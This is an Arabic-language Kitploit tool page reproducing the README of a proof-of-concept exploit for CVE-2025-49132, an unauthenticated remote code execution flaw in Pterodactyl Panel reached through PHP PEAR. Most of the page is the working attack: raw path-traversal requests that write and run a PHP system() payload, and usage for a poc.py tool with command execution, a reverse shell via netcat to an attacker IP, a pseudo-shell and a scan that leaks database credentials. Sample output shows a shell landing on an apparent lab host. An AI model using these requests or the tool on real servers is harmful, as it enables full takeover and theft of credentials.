Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
أدوات/GitHubGitHub/rippsec/cve-2025-49132-php-pear
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

عرض المستودع
3110منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-49132: ثغرة تنفيذ أوامر عن بعد غير مصادق عليها في لوحة Pterodactyl عبر طريقة PHP PEAR

CVSSv3 License Python

المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • تحليل فني
  • سير الاستغلال
  • التثبيت
  • الاستخدام
  • أمثلة
  • التخفيف
  • إخلاء مسؤولية
  • مراجع
  • المؤلف

نظرة عامة

يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال CVE-2025-49132، وهي ثغرة حرجة لتنفيذ أوامر عن بعد غير مصادق عليها في لوحة Pterodactyl Panel الإصدارات الأقدم من 1.11.11.

Pterodactyl Panel هي لوحة إدارة خوادم ألعاب مجانية ومفتوحة المصدر مبنية بلغة PHP. تسمح الثغرة لمهاجم غير مصادق بتنفيذ أوامر نظام تعسفية على الخادم المستهدف من خلال معالجة غير صحيحة لنقطة النهاية /locales/locale.json بالاشتراك مع وظيفة pearcmd.php الخاصة بـ PHP PEAR.

ملخص الثغرة

  • CVE ID: CVE-2025-49132
  • CVSS Score: 10.0 (Critical)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: التحكم غير السليم في توليد الكود ('حقن كود')
  • الإصدارات المتأثرة: Pterodactyl Panel < 1.11.11
  • تعقيد الهجوم: منخفض
  • الصلاحيات المطلوبة: لا شيء (غير مصادق)
  • تفاعل المستخدم: لا شيء

تفاصيل الثغرة

ما هو PHP PEAR؟

PHP PEAR (PHP Extension and Application Repository) هو إطار عمل ونظام توزيع لمكونات PHP قابلة لإعادة الاستخدام. يوفر أداة سطر أوامر (pearcmd.php) يمكن استخدامها لإدارة حزم PEAR.

يقوم ملف pearcmd.php بمعالجة الأوامر من خلال معلمات URL، وعند دمجه مع تجاوز المسار، يمكن استغلاله من أجل:

  1. إنشاء ملفات PHP تعسفية على النظام
  2. تنفيذ تلك الملفات عبر خادم الويب

السبب الجذري

توجد الثغرة بسبب:

  1. تجاوز مسار غير موثَّق: يسمح المعامل locale في /locales/locale.json بتجاوز المسار دون تحقق صحيح
  2. تضمين ملفات مباشر: يقوم التطبيق بتضمين ملفات بناءً على إدخال يتحكم به المستخدم
  3. حقن أوامر PEAR: يقبل سكريبت pearcmd.php الأمر +config-create والذي يمكنه كتابة ملفات PHP تعسفية
  4. وصول غير مصادق: لا تتطلب نقطة النهاية الضعيفة مصادقة

ناقل الهجوم

يمكن للمهاجم:

  1. استخدام تجاوز المسار للوصول إلى دليل تثبيت PEAR
  2. إساءة استخدام الأمر config-create لكتابة كود PHP خبيث في /tmp
  3. تنفيذ ملف PHP الخبيث عبر نفس نقطة النهاية
  4. تحقيق تنفيذ كامل للأوامر عن بعد كمستخدم خادم الويب

تحليل فني

عملية الاستغلال

يعمل الاستغلال على مرحلتين:

المرحلة 1: إنشاء الحمولة

GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

التحليل:

  • +config-create+/ - استدعاء وظيفة إنشاء التهيئة في PEAR
  • locale=../../../../../../usr/share/php/PEAR - تجاوز المسار إلى دليل PEAR
  • namespace=pearcmd - استهداف ملف pearcmd.php
  • <?=system('id')?>+/tmp/payload.php - حمولة PHP وملف الوجهة

المرحلة 2: تنفيذ الحمولة

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

التحليل:

  • locale=../../../../../../tmp - تجاوز المسار إلى دليل /tmp
  • namespace=payload - تضمين وتنفيذ payload.php

لماذا يكسر ترميز URL الاستغلال

يتطلب الاستغلال إرسال أحرف خاصة (<, >, ?, =) في URL دون ترميزها. إذا تم ترميز هذه الأحرف بعنوان URL:

  • <?=system('id')?> يصبح %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • يفسر PEAR هذا كنص حرفي بدلاً من كود PHP
  • لا يتم التعرف على علامات PHP، مما يمنع تنفيذ الكود

سير الاستغلال

graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

مخطط سير الهجوم

sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

التثبيت

المتطلبات الأساسية

  • Python 3.6 أو أعلى
  • مكتبة requests

استنساخ المستودع

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

تثبيت التبعيات

pip3 install -r requirements.txt

أو يدويًا:

pip3 install requests

الاستخدام

تنفيذ أمر أساسي

python3 poc.py -H <target_host> -c "<command>"

شل عكسية

# على جهاز المهاجم، ابدأ المستمع
nc -lvnp 4444

# تنفيذ الاستغلال مع شل عكسية
python3 poc.py -H <target_host> -r <your_ip>:4444

شل تفاعلية زائفة

python3 poc.py -H <target_host> --shell

البحث عن تثبيتات PEAR

python3 poc.py -H <target_host> --fuzz

فحص الثغرة

python3 poc.py -H <target_host> --scan

يتحقق من CVE-2025-49132 عبر تسريبات التهيئة (بيانات اعتماد قاعدة البيانات، مفتاح التطبيق).

مسار PEAR مخصص

python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

إخراج مفصّل

python3 poc.py -H <target_host> -c "id" -v

يعرض تقدمًا مفصلاً (إنشاء الحمولة، مسار PEAR، حالة التنفيذ).

الخيارات الكاملة

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

argument اختيارية:
  -h, --help            عرض رسالة المساعدة والخروج
  -H HOST, --host HOST  الهدف المضيف (مثال: 192.168.1.100 أو example.com)
  -c COMMAND            الأمر المراد تنفيذه على النظام الهدف
  -r REVERSE_SHELL      شل عكسية (تنسيق: LHOST:LPORT)
  --shell               وضع الشل التفاعلية الزائفة
  --fuzz                البحث عن مسارات تثبيت PEAR
  --scan                فحص الهدف بحثًا عن الثغرة (تسريبات التهيئة)
  -p PEAR_PATH          مسار PEAR مخصص (الافتراضي: /usr/share/php/PEAR)
  -e ENDPOINT           نقطة النهاية الضعيفة (الافتراضي: /locales/locale.json)
  --ssl                 استخدام HTTPS
  --timeout TIMEOUT     مهلة الطلب بالثواني (الافتراضي: 10)
  -v, --verbose         إخراج التقدم مفصلاً

أمثلة

المثال 1: تنفيذ أمر أساسي

$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] مخرج الأمر:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

استخدم -v للحصول على إخراج مفصّل (تفاصيل الحمولة، مسار PEAR، إلخ).

المثال 2: شل عكسية

# الطرفية 1: ابدأ المستمع
$ nc -lvnp 4444
listening on [any] 4444 ...

# الطرفية 2: تنفيذ الاستغلال
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] تأكد من تشغيل المستمع: nc -lvnp 4444

# الطرفية 1: استقبال الاتصال
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

المثال 3: شل تفاعلية زائفة

$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl
تنزيل الأداة